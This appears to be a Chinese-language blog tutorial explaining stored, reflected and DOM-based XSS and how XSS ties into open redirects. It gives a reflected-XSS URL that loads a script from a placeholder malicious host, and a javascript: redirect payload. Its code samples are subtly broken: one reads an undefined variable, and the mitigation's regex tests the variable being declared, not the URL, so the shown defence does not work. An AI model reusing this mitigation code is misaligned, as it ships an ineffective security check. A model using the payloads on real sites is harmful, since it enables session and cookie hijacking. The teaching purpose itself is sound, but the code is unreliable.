攻擊方有可能藉由輸入一些 script
,來讓其他的使用者在讀取 DB 的時候,他的 session or cookie 直接被劫持,用來做其他事情。
XSS 通常分為三類:
Stored XSS
以他的英文名稱來看,Stored XSS
顧名思義就是 "存"在某個地方 (ex. DB) 的 XSS 攻擊
。
script
儲存到 DB
script
,被 Browser 給執行了Reflected XSS
以他的英文名稱來看,Reflected XSS
顧名思義就是 會"反應"的 XSS 攻擊
。
此處的反應指的是: 網站會 "反應" URL (包含 javascript code) 所引起的攻擊
。
此處有一個惡意 url 範例:
http://your_website.com/reflected-xss/?username='><script src='http://virus.com/virus.js'></script><a href='
攻擊者可能透過惡意 url 而誘騙使用者點擊其 url,並且執行惡意的 script。
(注意: 並不是所有的 url 都能很輕易地被我們察覺,他也有可能會是經過 encode 後版本)
DOM Based XSS
以他的英文名稱來看,DOM Based XSS
顧名思義就是 基於 DOM 操作的 XSS 攻擊
。
網頁 javascript 在執行過程中,因為沒有詳細檢查資料 or 做其他的處理,就使操作 DOM 的過程中帶入惡意的指令。
可能的攻擊流程:
在看完 XSS 的簡單介紹後,此時我們可能會在想,那麼 XSS 和 Open Redirect 有什麼毛線關係?
請看一下範例:
const url = new URL("https://your_website.com?redirect=javascript:alert(5566)");
const redirectParams = new URLSearchParams(url.search);
window.location = searchParams.get('redirect');
從上面的範例可以看出: 我們並沒有在此處做過濾 query string 的動作,而是直接使用 redirect 拿到值後,就直接 assign 給 window.location
那麼,這時候會發生什麼事情呢?
假設我打開網站 devtool,輸入 window.location = 'javascript:alert(5566)'
此時,他會跳出我想要他彈出的 alert ,上面標示著 5566。
那麼,我們要如何防範 XSS 呢?
我們可以篩選掉沒有 http or https 開頭的 URI,來避免掉一些 script
let redirectUrl = decodeURIComponent(encodedURI);
const isValidRedirectUrl = /^((http|https):\/\/)/.test(isValidRedirectUrl);
if (!isValidRedirectUrl) {
// 以下的 fallbackRedirectUrl 請放你想要不合格的 url 導向的位置
redirectUrl = fallbackRedirectUrl;
}
window.location.href = redirectUrl || fallbackRedirectUrl;
不過,上述僅是過濾掉 XSS 的情況而已,若要完整處理 Open Redirect,還是建議參考上篇的文章。
最近家裡發生了很多事情,但寫文章的挑戰還是要繼續完成,希望能藉此達成養成學習習慣的目標,持續充實自己並打敗惰性。